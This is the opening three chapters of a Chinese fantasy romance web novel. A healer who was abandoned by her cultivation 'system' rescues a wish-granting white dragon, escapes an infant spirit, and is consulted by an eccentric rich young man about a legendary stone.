《捡到一条许愿龙》
1. 第 1 章
“花医师定亲了吧?”
“还没有。”
奈奈提着一盏炙热的汽灯走在前面,身后只到她肩膀的赵大娘紧跟在她左侧。
“那正好,我有个远方亲戚,二十岁就中秀才哩,现在给城里最有钱的赵员外家里做西席。”
儿媳妇母子平安,赵大娘心里高兴,话难免有些多。
“都说和那个姓潘的后生一样好看。脾气也好得很,还会做饭洗衣裳……”
她像是非要促成这门婚事不可,把那书生夸得简直就是云上城第一等的男子,若是不见上一面,就要吃大亏。
身旁的人迟迟没作声。
赵大娘忍不住转头看她。
身形高挑纤细的少女裹在一件长及脚踝的黑色斗篷里,裸露出来的肌肤如同薄脆的雪,在暗夜里白得发光。
一缕乌黑的头发从风帽里俏皮地钻出来,随风荡来荡去。
也不知道是不是灯光太刺眼,她低垂着眼皮,浓密纤长的眼睫直直垂下来,整个人暖软得如同糖饴。
这世上鲜有不喜欢吃糖的人。
尤其这个“小糖人”医术高明,是城内有名的神医。
赵大娘越瞧越喜欢,恨自己没能生一个这么讨人喜欢的闺女。
不过大家都说花医师是修士,将来是要做神仙的,和他们这些凡人不同。
能与未来的神仙亲近亲近,也是一种福气。
她孙子还是未来神仙接生的,将来肯定前途无量!
就是傻了些,呆了些,旁人哄她两句,在她面前哭哭穷,卖卖惨,她连诊费都不收。
赵大娘就很看不起那些找借口不给诊费的人,不像她,不仅传家宝都舍得给花医师做嫁妆,还把最好的亲戚介绍给她。
奈奈并不知道自己的形象在赵大娘眼里一会儿是救世救难的神仙,一会儿又是不知人间疾苦的傻瓜,只觉得耳边的声音忽远忽近,催眠似的。
不然她一定会无比认真地告诉对方,她只是个修为永远停滞在炼气中阶,不得不转行做医修的普通人,这辈子都当不了神仙。
至于报酬这些,有钱给多些,没钱哪怕给一块糖饴,夸一夸她,她心里也是高兴的。
“花医师,我就送你到这儿了,你自己当心些!”
奈奈猛然惊醒,茫然四顾。
已经后半夜,山里只剩下虫鸣与风声。
白炽的光在雾蒙蒙的黑夜里撕开一个大口子,照亮了密林里一条仅供一人通行的羊肠小道。
这座山有个很美的名字:小重山。
她就住在山脚下。
这片密林她走过不下百遍,是她上山采药的必经之路。
白天风景非常好,风一吹,绿浪起伏,犹如一片林海。
夜里却极为阴森恐怖,仿佛随时会跳出一个鬼怪。
其实,她夜里几乎不出门。
只是如果她今夜不来,赵大娘的儿媳妇怕是要一尸两命。
好在手里的灯给了她些许安慰。
那是一盏汽灯,外头罩着有些许裂痕的透明玻璃,上头錾刻着一些花纹,是玄门所用的器具,里头用一种黑黢黢的液体作为燃料,点燃后散发出格外炽热的白光,比一般的灯亮上数倍。
据赵大娘说,这原本是赵员外的老来子赵三公子的宝贝。
赵三公子是云上城里出了名的纨绔子弟,沉迷于玄学,妄想修仙。
奈何资质太差,无宗门肯收,于是转向收集玄门宝贝,这汽灯就是其中之一。
某一次,赵三公子把玩时,汽灯不小心脱了手,玻璃摔裂一条缝。
一向追求完美的赵三公子大方地赏给了身边最得力最忠心的轿夫——赵大娘的儿子。
赵大娘说原本留着传家的,奈奈哪里不肯收。在家里说一不二的赵大娘很不乐意,说救命之恩大过天,一盏灯算什么!
赵大娘又冷不丁说:“花医师,你好好考虑考虑。”
奈奈有些茫然地望着笑得慈爱的赵大娘。
考虑什么?
奈奈总不好说自己走着走着不小心打了个盹,根本没听见她说的话,于是又点点头。
赵大娘笑得愈发慈爱,非要看着她先走。
奈奈想着“一家老小”还在等她投喂,深吸一口气,在心里默念着驱魔咒,一头扎进了弥漫着浓雾的密林里。
越往前走,雾气似乎越厚重,手里的灯几乎照不透五步以外的路。
这时,耳边也隐约地传来了婴孩的哭泣声。
一开始奈奈以为是赵大娘的孙儿哭了,很快她反应过来。
不对!
她已经走了快两刻钟,早就远离赵大娘的家,刚出生的婴儿哭起来绝不可能有这样响亮的声音。
那个生得可爱的小宝宝,此刻应该躺在母亲温暖的怀抱里酣睡。
就算醒着,也被爱他的人当心肝宝贝一样疼爱。
而此刻的哭声可怜极了,凄惨极了,像是在说“别不要我,别抛弃我,我会乖的”,声音由远及近,声声入耳,让人忍不住想要将“它”抱在怀里哄一哄,亲一亲。
奈奈也是被遗弃的人。
不过她是被一个编号009号的系统遗弃在这个世界。
当初绑定时,讲究直白的009把她夸得天上有地下无,仿佛只要她一挥刀,就能毁灭整个世界。抛一抛眉眼,灭世反派必将为她死去活来。
“宿主,我们联手一定天下无敌!灭世反派算什么!”009憧憬地展望未来。
奈奈也坚信,迟早有一日她勾一勾手指,那条欺师灭祖,毫无人性的恶龙会心甘情愿地匍匐在她脚下,成为她的坐骑。
后来……
009遗弃她时,说出的话就跟夸她时一样,既直白又残忍。
“我们是错误的相遇。你不是我要找的天才。天才你懂吧,随便修一修,就能飞升。勾一勾手指,哪怕毁天灭地的反派,也会被玩弄于股掌之中,心甘情愿做她们的狗!对不起,我要去找的真命宿主了!”
错误的相遇呀……
奈奈不知为什么会在这种危急时刻想起这种事,此刻的她犹如独自一人行走在苍茫广阔的雪原之上,却永远都走不到尽头。
孤独,寂寥,委屈……
一滴泪顺着眼角滑落。
她不由自主地握紧了手中的汽灯,上头冰凉的纹路几乎要扎进她的肉里。
手心骤然剧痛,沉浸在悲伤里的奈奈被气灯散发出的银光刺痛了眼睛。
她回过神来,面前哪里有什么一望无际的雪原。
她还在那片密林里。
她被那婴儿的哭声迷惑了!
是婴灵。
被人遗弃后死去的小孩,因无人祭拜,无法投胎转世,徘徊在阴阳两界,成了精怪。
它们以凄厉的哭声作为媒介,把人困在幻境里,一旦对方力竭,立刻蜂拥而上,啃食人的骨血。
婴灵最喜欢围杀那些做了父母的人,想来是今夜她帮人接生,身上沾染了新生儿的气息,婴灵闻着味就来了。
婴灵没有什么智商,喜欢聚在一起,这只恐怕落单了。
要是换作从前,这些生物她并不放在眼里,但是今时不同往日。
她察觉到背后的箱箧重了不少,并没有回头,柔声哄道:“姐姐和你一样,从小就被人遗弃,最懂你心里的委屈。”
“姐姐有一个朋
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友很厉害的,还能帮人实现愿望,你有什么心愿未了,兴许他能帮帮你。”
“对了,姐姐也随身带了些好吃的,就在背后的箱子里,你想要尝尝吗?”
也许是她的话起了作用,背后的箱箧骤然一轻,那东西挪到了她肩上。
奈奈取下箱箧,从里面取出几根香烛插在地上,借着汽灯点亮。
她实在太容易招惹这些脏东西,总会随身携带一些香烛符纸。
很快地,香烛的气息弥漫开来,红色的火焰在黑夜里摇曳。
那东西并没有动。
警惕性还挺高。
奈奈继续哄:“你真乖。是姐姐见过最乖的好孩子。”
“不知道你叫什么名字,或者,你还没有名字。不如叫你小宝好不好?”
“姐姐家里有很多木雕玩具,送一件给小宝做礼物好不好?”
“小宝喜欢什么?鸭子?小狗?姐姐最喜欢小狗了,要不送小宝一只小狗,怎么样?”
终于,那东西顺着她的肩膀爬了下来,方才还朝着西南方向的火焰骤然偏向东北方向。
是婴灵在吸食香烛。
奈奈趁此机会,背起箱箧飞速逃离。
火光里,一双血红的眼睛直勾勾地盯着她远去的背影。
礼物。
它舔了一口肉乎乎的小手。
喜欢!
想要!
一刻钟后,满头大汗的奈奈望着屋子里那抹橘红色暖光,双手扶着膝盖大口大口地喘气。
终于到家了。
出门前她特地给自己留了灯。
惊魂未定的少女平息了好一会儿,才上前推开门。
一进院,一群鸡鸭鹅扑腾着翅膀围了上来,叽叽叽,嘎嘎嘎,鹅鹅鹅汪汪汪的声音叫嚷起来,打破了宁静的夜。
显然,这“一家老小”饿坏了。
奈奈把灯放在院子中间那棵大树下的石桌上,赶紧从鸡笼上方的袋子里抓了一大把燕麦洒在地上。
“一家老小”一窝蜂冲了上去,拼命地抢食。
奈奈的心被一股子暖意填满,心情愉悦地抚摸着大鹅的脑袋。
大鹅朝紧闭的房门看了一眼,“鹅鹅鹅”叫唤个不停。
“他”应该还没睡吧?
一定也在等她回家吧?
知道“他”爱干净,奈奈去井边洗干净手,把身上沾了血腥气与香烛气息的斗篷脱下来搭在晾衣绳上,伸手推开了房门。 一盏孤零零地的汽灯照亮了小屋。
正对着桌子的是一扇偌大的窗户,一牙月亮悬挂在窗户上。
奈奈出门的时候没关窗,樱桃木的暗红色地板上与临窗的红木妆奁台上落了薄薄一层雪。
仔细一看,不过是窗外梨树的花瓣被风了吹进来而已。
奈奈蹲下来,一边收拾花瓣,一边和往常一样念叨:“我刚刚撞到婴灵,还好我跑得够快,不然龙兄你就见不着我啦!”
“赵大娘的儿媳妇母子平安,赵大娘可高兴了,还把他们的传家宝送给我了,说将来留着当嫁妆。”
没有人回答她,她自己忍不住笑了。
屋里这些看起来很昂贵的家具,全都是这几年病患送给她的嫁妆。
她“流浪”到云上城快三年,一分钱没攒,嫁妆倒是零零散散攒了一屋子。
每一次她进屋,看到满屋子的嫁妆,心底总感到几分惆怅寂寞。
奈奈收拾好花瓣,步伐轻盈地走到床前,伸手拨开了月白色的帐子。
一条通体雪白的龙盘踞在大红缎面的被褥上。
它大约两尺来长,拳头粗细,全身的鳞甲就像冰雪雕刻出来的,泛着泠冽的银光。
2. 第 2 章
准确得来说,这是一条能够许愿的小龙精。
这事儿还有从三个月前说起。
某一日傍晚,奈奈采药回来途中,在一处巨大的深坑里看见了一条浑身焦黑,还燃烧着小火苗的龙。
一看就是被雷劈的!
龙和其他生物不同,天生具有灵根。
奈奈猜测“他”是渡劫失败,鬼使神差地把“他”捡了回来,抱着死马当活马医的心态,把所有珍藏的丹药喂给了他。
大约过了半个月,小龙精身上烧焦的鳞甲终于一点点地褪去,长出新的鳞甲,成了现在的这副模样。
起初,奈奈以为“他”不过是一条渡劫失败的普通龙精。
某天夜里,她饿得睡不着,想起白天在城东如意点心铺里瞧见的杏仁糕,忍不住和小龙精唠叨那点心是用了什么做的,看起来有多么的诱人。
“要是能吃上一口就好了。”她揉着肚子咽口水。
谁曾想翌日早上醒来后,她竟然看见桌上摆着一碟冒着热气儿的杏仁糕,与铺子里的一模一样。
而她只和小龙精唠叨过。
当日晚上,她试探着又同小龙精说起了西街卖的糖葫芦,不出意外第二天又出现在家里。
这让奈奈感到既兴奋又激动。
许愿倒还是其次,主要有人能够听得懂她说话。
一个人生活得太久,难免就想有个人陪着自己,每天能等自己回家。
不是人也不要紧。
奈奈伸手去摸“他”,双眼紧闭的龙准确无误地避开了她的手。
果然还没睡啊。
奈奈打着哈欠出了屋子,再回来时手里端着一盆冷水。
虽然已经五月,可入夜后井水冰凉刺骨,
只是这么晚烧水实在太麻烦了,只能将就一下。
奈奈背对着床开始脱衣裳。
随着最后一件落在地板上,小龙精蓦然睁开眼,银色如水晶的剔透瞳孔里映入少女曼妙雪白的身影。
少女微微抬手,背后的蝴蝶骨在皮下浮起,水珠顺着雪白的脊骨滑落到狭窄的腰………
浑然不知的奈奈迅速地擦洗干净身体,胡乱套上睡裙,上前熄了灯,
屋子里再次陷入一片黑暗。
冻得直哆嗦的少女掀开被窝上了床。
被窝里被小龙精暖得温热。
她舒服地眯起眼睛。
就是床太窄了,看来她得给小龙精挖个池塘才行。
“话说回来,龙兄你要会说话就好了,你生得这么漂亮,说话声音也很好听吧……”
声音越来越小,累了一天的少女终于睡着了。
睡裙下雪白修长的腿搭在了银龙身上,几乎与鳞甲融为一色。
银色的龙尾把那条不老实的腿拨到一边去,谁知她整个人滑到床下去。
龙尾倏地卷住她的腰身,轻轻一提,她再次趴在他身上。
他蓦然睁开眼。
近在咫尺的少女睡得很熟,丝毫没有察觉到自己差点掉到床底下。
片刻后,他重新阖上眼皮。
奈奈睡到日上三竿才起来。
冰凉的物件一直贴着她的大腿根,咯得她有些疼。
低头一看,一条雪白的龙尾被她压在身下。
“抱歉抱歉!”
小龙精虽然能许愿,但是性情非常孤冷,除了半死不活的时候任她揉搓,清醒后一点儿不喜欢被人碰。
奈奈赶紧把小龙精解救出来,衣裳都没换,伸着懒腰去洗漱。
一打开房门,入眼的是一棵几乎遮了半个院子的大榕树,树上绑了一根晾衣绳子,绳子的另一端绑在一棵枣树上,黑色的斗篷随风飘扬。
“一家老小”则蹲在斗篷下,像是在说悄悄话,虽然那声音听起来一点儿也不“悄悄”。
一家老小成员包括:两只大鹅,一只老母鸡,两只小鸭子。
没有捡到小龙精之前,它们经常打架,叫人不得安宁。
可小龙精出现后,它们反倒异常团结,没事就凑在一块“窃窃私语”。
鸡同鸭讲。
鹅在一边故作深沉地“思考”。
看的出来,它们很怕小龙精。
不过家禽怕龙类,也很正常。
奈奈掏了一大把燕麦洒在地上。
“一家老小”争先恐后奔向燕麦。
奈奈一边刷牙,一边摸着干瘪的肚皮,想今天早上吃什么。
洗漱完毕,她进屋把小龙精抱出来放在石桌上晒太阳,轻盈地踱步,度量着池塘大概的方位。
这座小院依山而建,并不算大,土坯围墙只到她腰间,用一扇看起来还算结实的门封了开口。
院子里除了昨夜的卧室,左边是一间药庐,最靠近西南角是一间小厨房。
从南到北大约一百步,从西向南大约五十步。
“等池塘挖好后,我再修一条回廊,到时候一推开门,就可以看见龙兄你的新家。”
“龙兄你要是觉得冬天冷,我去山上打几桶温泉水,到了夏天,就丢下冰块下去,保证冬暖夏凉,龙宫也比不上!”
当然,要是池塘里能放家具,她也不介意把自己的“嫁妆”搬进去。
“不过既然是龙兄你的家,也不好太单调,你喜欢青蛙还是王八,或者是蛇?我到时候弄一点给你做邻居。”
“要不种莲花吧,现在五月,兴许八月十五莲花都开了。我想办法弄条船,咱们泛舟赏月吃月饼。”
说到兴起时,她拿起铁锹尝试挖土,口中还哼着小曲,“在小小的池塘里挖呀挖呀挖,小小的王八,大大的青蛙,里面住着一条许愿龙呀……”
“一家老小”雄赳赳气昂昂地跟在她身后,像是要随时随地为她尽忠。
小龙精冷冷看着他们,眼神就像看傻子一样。
“花医师在家吗?”有人高喊。
奈奈扭脸看向门外。
小龙精扫了一眼晾衣绳,黑色斗篷啪嗒落在奈奈肩上,将她裹了个严实。
与此同时,有人推开了没上锁的门。
是一个身穿绫罗绸缎的中年男人,两条八字须微微上翘,眼神很精明。
他有些错愕地望着眼前全身罩在黑色斗篷里,手握铁锹的少女。
她出奇地可爱,皮肤素白如冰雪,一对圆溜溜的大眼睛。
一般人的眼瞳黑中带褐,她的瞳仁却是纯黑色,且眼角下垂,看人时眼神无辜又可怜。
听说那位花医师医术精湛,专治疑难杂症,被人奉为活神仙。
可眼前的女娃娃未免太年轻了些,按照他老人家的审美来瞧,最多十五六岁。
难道是花医师的女儿?
他迟疑:“花医师,在吗?”
少女嗓音也很娇气:“我去叫她出来。”说完,放下铁锹,抱起桌上一条通体雪白,很像是蛇的东西回了屋子。
果然不是她。
男人微微笑了一下,环顾一圈,只见树下几只鸡鸭鹅正盯着自己,那眼神说不出的诡异奇怪,好像成了精一样。
关于花医师是修士的事儿他也听说过,心中多少抱着敬畏之心,也不敢多看。
很快地,房门再次打开,一个穿着长及脚踝的黑色斗篷的少女施施然走了出来。
她满头青丝用一根木簪子束在头顶,一张
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脸素面朝天,全身上下一点儿点缀也无。
她脚下的鹿皮靴子很旧了,左脚那只鞋面居然还掉了一小块皮。
看得出来,是真穷。
不过束发的簪子看起来不错,上等的紫檀木,尾部雕了那么一只大尾巴猫,手工极好。
男人盯着那对灵动又狡黠的圆眼睛,心想这位姑娘你束了头发,别人就认不出你了吗?
你好歹把脸蒙一蒙,换件衣裳!
她矜持地问:“您有什么事儿?”
他想起自己的来意,赶紧从怀里摸出一张请帖递上前:“我是赵员外府上的管家,我家公子请花医师下午过府一趟。”
奈奈伸手接过来。
请帖居然用丝绸做的,真有钱!
她把玩着手里的请帖:“他生了什么病?”
管家表情有些一言难尽:“说不好,总之花医师去了就知道了。”
说不好那就是疑难杂症,奈奈应下来,直勾勾望着他手里的红漆八宝食盒。
管家立刻递过去:“小小意思,不成敬意。”
花医师有个规矩:上门请她看病的,最好能带点吃的来,不拘着什么,能吃就行。
奈奈接过来:“多谢,我会准时到的。”
管家道谢后告辞。
走出老远,他还听见院子里少女欢快哼唱的声音。
这高人好像和他想象的不太一样……
真高!
*
八宝食盒里装着一碟枣泥糕和一碟雪媚娘。
少女素白的手拿了一个雪媚娘用力地嗅了嗅,一股子沁人心脾的甜香扑鼻而来。
她一口咬了一半,惬意地眯起眼睛。
其实奈奈之所以定下这个规矩,单纯地因为她不会煮饭。
去城里一趟来回得一个时辰,搞不好她吃饱后走回家又饿了。
所以平常她都是买一大堆干粮放在家里,实在受不了就带着所有的钱去城里大吃大喝,吃饱喝足了去卖药,再买些干粮回家。
周而复始,也快活地过了这么些年。
她想起“新朋友”还饿着,拿了一块喂到小龙精嘴边。
可手都举累了,小龙精才“纡尊降贵”吃了一小口,再也不肯吃第二口。
这条小龙精实在娇矜得很,也不知道以前过得都是什么好日子。
奈奈把剩下的糕点放好,拿了一些元宝蜡烛放进箱箧里,又从窗台上摆放的一排木雕里挑了一只小狗和一只小鸭子,蹲在小龙精跟前:“姐姐出去赚钱,要乖乖看家哦,姐姐争取再捡个小龙女和你生崽崽!”
小龙精眼皮子都没抬,一副很不感兴趣的样子。
奈奈强行地在他“脑袋”上揉了一下,也不去看“他”微微眯起的眼,背起箱箧哼着小曲出了院子。
篱笆门一关上,“一家老小”继续在树下围成一圈,叽叽叽,嘎嘎嘎嘎,鹅鹅鹅,赶庙会一样热闹。
一双银瞳扫了它们一眼。
声音嘎然而止。
“一家老小”紧盯着那只银色的龙,恐惧在它们的眼睛里无限地放大。
紧接着,像是有人从天边撕下来一片云随手丢在它们头顶。
伴随着一声雷鸣,如幼蛇一般的蓝色闪电在云层里翻滚咆哮。
哗啦一声响,雨水将鸡鸭鹅浇得湿透。
“一家老小”撒丫子开始跑,
可任凭它们如何跑,都跑不出头顶上那团小小的云。
嘴巴也像被人缝上,毛都跑掉了,却诡异地没有发不出半点声音。
“吵死了。”
一道极其年轻低沉,透着些许不耐烦的声音骤然响起。
3. 第 3 章
“真安静呀。”
“我们家公子喜静,所以特地修建了这座湖中小筑,平日里没事就在这里冥想打坐。”
“原来如此。”
奈奈不动声色地打量水榭。
一水的紫檀木老家具,左侧书架上摆放的是玄门秘籍,甚至有些不外传。
右侧的博古架上摆放了各式各样的玄门法器,就连四根珠子上都镶嵌了上等的灵石。
一块上等灵石能够兑换十两银,够普通人家生活半年,这几根柱子上少说也有上百颗,流光溢彩,炫人眼目。
还有中间矮案上摆的琴,她曾经见过一个琴修背过。
且不说这些东西从哪儿弄来的,加起来至少超过十万两银子。
怪不得人人都说这位赵三公子是个纨绔子弟,委实有些败家了。
管家赞叹:“寻常人看见这些,不是错愕羡慕,就是不加掩饰的贪婪 ,像花医师这样波澜不惊的还是头一个!”
奈奈:“我心里其实也羡慕,只不过我这个人没什么表情。”
诚实得叫人无言以对。
管家挠挠头:“我们公子原来不这样!”
还没等奈奈问那怎么会成了现在这样,管家竹筒倒豆子似的与她说起了自家公子的过往。
这位赵三公子名赵澜生,是赵员外的老来子,上头还有一个哥哥一个姐姐,比他大了十几岁,再加上母亲难产而死,赵澜生一出生就被全家人捧在手心里娇养,生怕受一点委屈。
在管家口中,赵澜生打小人见人爱,心软得连只蚂蚁都不舍得踩死,聪明得令西席先生自愧不如。
当朝状元之所以不是他们家公子,那是因为不屑去考的缘故。
总之,是一个容貌俊秀,善良敦和,聪慧无比的乖宝宝。
管家叹息:“只可惜天妒英才,公子十二岁那年生了一场病,病好后就跟变了个人似的,开始沉迷修仙,四处收集玄门宝贝,费银子还是小事儿,好好的人给耽误了,定的亲事也黄了,老爷打了多少回都不肯改,花医师你说,他怎么那么倔呢……”说着说着拿袖子不断地抹泪。
奈奈最害怕旁人哭,尤其还是一个看起来很硬汉的中年男人。
她也不懂怎么安慰人,干巴巴说:“兴许只是一时的爱好而已,人就是这样,一段一段的。从前我遇见一个姑娘,动不动就把拯救世界挂在嘴边。”
管家:“后来呢?”
奈奈:“后来?她知道自己根本没那个本事,也就老实了。”
管家有被安慰到,忙叫婢女送了茶点来:“花医师先吃着,我去瞧瞧我家公子可回来。”
奈奈也没客气,就着红豆糕一边喝茶一边猜测这位赵公子究竟得了什么疑难杂症。
突然,一只硕大的花孔雀从天而降,差点撞到她脸上来。
奈奈手一抖,才咬了一口的红豆糕掉在地上。
花孔雀在半空中悠悠荡了两个来回,轻飘飘地落在地面上。
是个又高又瘦的男戏子。
妆容艳丽,眉梢流淌着妩媚,有一种妖冶的美感,宽大的戏服穿在他身上,略显得空荡荡。
如果她没猜错,这位应该就是“乖宝宝”赵澜生。
奈奈的视线顺着他背后望去,只见一根绳子绑在他腰上,另外一头则绑在湖边一棵大约有几百年历史的参天大树上,几个仆人像是放风筝一样奋力地扯动着绳子。
果然,跟在身后的管家一边手忙脚乱地解绳子,一边汗颜介绍:“这就是我家公子。”
奈奈:“……”
这病看起来不好治啊!
赵澜生拢了拢大袖,朝管家摆摆手。
管家会意,弯腰告退,临走前还不忘给奈奈递了一个眼神。
奈奈行医这么多年,从来没有医过神经病,心里也有点慌。
赵澜生围着她转了一圈,莞尔一笑:“花医师很穷啊!”
少年人嗓音清亮,和他阴柔美丽的妆面极不相符。
奈奈:“……”
要不要这么一针见血!
赵澜生又问:“花医师这是刚从山上回来?”
奈奈来之前确实先去山上祭祀了昨夜遇到的婴灵,这位赵公子神经不大对,眼神倒挺好。
她问:“赵公子这扮的是杨贵妃?”
赵澜生:“刚从梨园回来,临时去那儿救个场。”
梨园是云上城最大的戏园子,奈奈去过一次,票卖得死贵死贵的,唱词一句没听懂,就觉得那个扮演杨贵妃的旦角身段十分妖娆妩媚。
有钱人的爱好真别致!
要治病首先得了解病根,奈奈正打算从玄门话题切入,赵澜生忽然问:“花医师,你听说过灵曦之石吗?”
奈奈闻言,心头一震。
灵曦之石并不是什么宝石之类的石头,而是神女灵曦的心。
一万年前,魔神境绪降世。
那是凝聚天地之恶滋生出的一条应龙,好战,嗜杀,传闻只要他出现过的地方,便会留下红莲业火,把人间烧成炼狱。
神女灵曦为拯救世人,以身饲魔,试图感化魔神,只可惜失败了。
她为阻止魔神灭世,把自己的心练成了法器,也就是所谓的灵曦之石,最终在魔神的降世地——极渊之地与魔神同归于尽。
灵曦陨落后不久诞生了一大批专门除魔卫道的修士,他们在人间分割出十二洲,建立了仙门百家,维护人间秩序。
直到一千年前,又一条应龙——梵雪降世。
梵雪以人间稚子的形态混入灵气最强的东洲,拜了仙门百家之首的明镜宗掌门为师。后来身份被揭穿后,残忍地屠戮修士,有些道宗直接灭门。
“那场大战持续了三天三夜,血流成河,白骨成堆,梵雪不仅屠戮整个师门,还把待他如亲子的明光道尊的白骨浇筑在王座之上。”
009说起这些时,声音里都透着恐惧。
奈奈似乎也看见偌大的白骨宫殿里,荆棘王座之上端坐着一个黑袍曳地的男人,大手搭在白骨之上,神情沉郁而阴森。
王座之下,如同岩浆的鲜血静静流淌着。
之后的五百年里,梵雪开启了一个属于魔的辉煌时代,哪怕是妖鬼两界都向其俯首称臣,称其为魔尊。
这也就罢了,有心术不正的修士或凡人地把灵魂献祭给梵雪,从而满足心底的私欲。
五百年前,梵雪也不知出于什么缘由,突然率领魔众退到极渊之地。
仙门百家这才得以休养生息,存活下来的人合并为九洲,五百年来不断地在人间寻觅适合修仙的天才,妄图培养出能够与梵雪抗衡的修士。
因为梵雪临走前曾放话:“本尊归来之时,便是尔等灭世之日!”
而魔尊梵雪,正是奈奈的攻略对象。
009说过,灵曦之石是唯一能够诛杀梵雪的法器。
当初,神女灵曦与魔神同归于尽后,灵曦之石化作碎片散落六界。
只要集齐灵曦之石的碎片,则能够拥有神女灵曦的神力。
“听说,花医师也曾是一名修士,我想请花医师帮我寻一片灵曦之石。只要有了灵曦之石我就可以洗净伐髓,脱去凡骨,踏上修仙之路。”
“修仙光有资质不够,还要大量的资金,我愿意供养花医师!只要花医师愿意陪我走一趟。”
“花医师难道甘心留在云上城做个小医师吗?”
这个赵公子还真敢想!
只可惜他洗脑的话术比起009差远了。
“只有天命之人才能够集齐灵曦之石,而宿主你就是我009选中的天命之人!”
天命之人呀,听起来多么让人热血沸腾。
只可惜,奈奈并不是什么所谓的天命之人,不然也不会被009无情抛弃。
奈奈笑眯眯:“我只是个普通的医师,没听说过什么灵曦之石,我看赵公子面色红润,谈吐有条理,不像有病的样子。多谢赵公子款待,我就先走了。”
赵澜生拦住她的去路,紧紧盯着她的眼,冷笑一声:“花医师是不是也觉得我是个疯子?明明知道自己是个普通人,却妄图修仙!”
奈奈摇头:“每个人都有自己的追求。”
她自己不也曾也妄想屠杀恶龙梵雪,成为第二个灵曦。
赵澜生沉默片刻,又道:“七年前,我差一点就没命,是一个路过的女修士救了我。她曾在梦境中带我游过九洲。那真是一个盛大瑰丽的奇幻世界,让人为之疯狂。这么多年,我一直想要再次进入那个世界,也很想再见她一面,亲口和她说一声谢谢。花医师,凡人的一生短暂得可怜,我不想将来老的时候后悔。”
他脸上画了很浓的妆,奈奈看不清楚他的神情,却能够从那对勾勒得妩媚多情的眼睛里感受到浓浓的悲伤。
错误的相遇呀。
奈奈不知道怎么想到了这句话:“赵公子的故事很感人,可惜我帮不了赵公子。”
赵澜生没再说什么,让管家给奈奈拿诊费。
奈奈觉得没帮上什么忙,怎么都不肯收。
财大气粗的赵公子眉毛上扬:“花医师看不起在下?”
管家小声提醒:“我们公子给钱必须得收。”
于是奈奈只能“被迫”地接受了一份诊金。
躺在摇椅上的赵澜生打着拍子哼唱。
世间空余多少爱恨
都只是逝水流年
空惆怅
白发红颜枯作骨
荒野孤冢
难回头
……
奈奈伫立片刻,转身出了水榭。
直到她消失在岸边,赵澜生从摇椅上站起来,向湖边遮天蔽日的大树作了一揖,笑得风流不羁:“我已经按照两位仙师要求说了,二位真能给我写举荐信吗?”
话音刚落,一紫一蓝两个人影轻轻地落在地面上。
紫衣少女取下背后的紫色水晶弓箭,对准快要消失在花园里的黑色身影,微微眯起眼。
一瞬间,温度骤降,空气也仿佛凝固收紧,压得人喘不过气来。
赵澜生酷爱收集玄门法器,平日里结交的也都是一些道门修士,可以说对各家道门法器耳熟能详。
如果他没猜错,她手里握的便是上古神弓紫镜,无需箭矢,便能杀人于无形。主人修为越强,威力也越厉害。
赵澜生冷汗淋漓:“你俩有仇?这里是人间,杀人要偿命的!”
她不耐烦地睨他一眼,没搭话,用力地将弓弦拉到了极致。
“砰”一声铮鸣,她放了空箭。
奈奈打了个寒颤。
她摸摸脖子,总觉得有一双眼睛黏在了自己背后
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那种感觉非常熟悉,让她不寒而栗。
可她一回头,又什么都没有。
也许是她想多了。
这里是人间,她绝不可能在这儿,否则以她的性情,怎么会轻易地放过她!
天色阴沉沉的像是要下雨,奈奈加快脚步。
出了赵府后,她买了干粮和铁锹,收获满满地扛着铁锹回家了。
一进院门,她面色大变。
只见暮色笼罩的院子里到处都是水洼,晒草药的木架东倒西歪,“一家老小”像是从水里捞出来的一样,湿哒哒地贴在墙根发抖。
一定是“一家老小”又玩水了!
这些年,奈奈给它们喂了很多灵草,它们开了一点儿灵智,也越来越调皮。
“都说了多少遍不准打架!不准玩水!你看看家里都给你们玩成什么样了!”
“一家老小”惊惧地看了一眼不远处盘踞在石桌上的始作俑者,委屈得想叫。
但不敢。
奈奈背着手院子里打转。
“怎么不学学龙兄,你看人家老老实实的能待上一天!”
“玩水就玩水,拔毛干什么!晚上想烧烤是吧!”
“再有下回,我就把你们毛都拔干净!”
“……”
奈奈足足训了“一家老小””五分钟,才从鸡笼上方抓了一大把燕麦放在干燥的地方。
“一家老小”一个挨一个,绕过石桌,默默啄食。
奈奈觉得是自己的训斥有了效果,摸摸小龙精的脑袋,弯着眼睛笑:“还是龙兄最乖了。”
小龙精神情冷傲地瞥了一眼“一家老小”,心情似乎也很愉悦。
是夜。
躺在床上的奈奈辗转反侧,满脑子都是赵澜生的话。
如果连一个凡人都知道灵曦之石,是不是说明灵曦之石真的降世了?
009曾说过,灵曦之石一旦降世,就说明他找到了天命宿主,那也是奈奈的末日……
算了,想也没用,要真到了那一日,她又能改变什么呢。
睡得迷迷糊糊,她被热醒了。
一睁眼,对上一双像是蒙了血雾的竖瞳。
奈奈瞬间清醒,抬头望向窗子,只见一论圆月悬挂在天上。
糟了!
小龙精又爆血了!
她立刻爬起来,鞋子都来不及穿,拿起衣裳裹住浑身滚烫的小龙精,赤脚飞速地跑出屋子,把小龙精丢近屋檐下的水缸里。
随着水花溅起,水缸“呲”地一声冒起一阵白烟,小龙精身上如同冰雕一样的银色鳞甲开合着,渗出一缕一缕的血雾,瞬间染红了缸里的水。
奈奈拔掉木塞放水,重新打水灌进去。
一连换了五次水,小龙精周身的温度终于降下来,眼瞳却愈发地血,流露出嗜血的疯狂。
奈奈又跑去药炉拿了一把匕首来,咬牙在食指用力划了一道。
血珠子争先恐后地冒了出来。
还不等奈奈把血挤到水缸里,小龙精的身体以肉眼可见的速度急剧地拉长变粗,在奈奈诧异的目光中倏地飞出水面,粗壮的银色龙躯自下而上,一圈又一圈紧紧地绞缠少女柔软的身体,冰凉的龙首贴着她的脖颈嗅来嗅去,似是辨别哪里的肉更嫩一些。
奈奈几乎被勒得喘不过气来,手中的匕首刺向龙颈。
这把看似很钝的匕首是一件法器,对于妖灵魔怪具有致命的杀伤力。
只要她稍稍用力,小龙精顷刻间就会没命。
可奈奈怎么都下不去手。
算了算了,都要死了,给小龙精吸几口血也没什么。反正小龙精这几个月来实现了她不少的小愿望,还听她唠叨了那么久。
手中的匕首“啪嗒”掉在地上,与此同时,尖锐的牙齿骤然刺入她的皮肤。
温热的液体顺着脖颈流下来。
并没有想象中那么疼,伤口处像是被人舔了一口,酥酥麻麻地痒。
一股不知从哪儿来的暖流不断地冲刷她阻塞的静脉,流向四肢百骸,让人有些昏昏欲睡。
耳边似近似远地传来极其克制压抑的喘息声。
一定是错觉,她家里哪来的男人,不过声音怪好听的……
这是她昏迷前最后的想法。
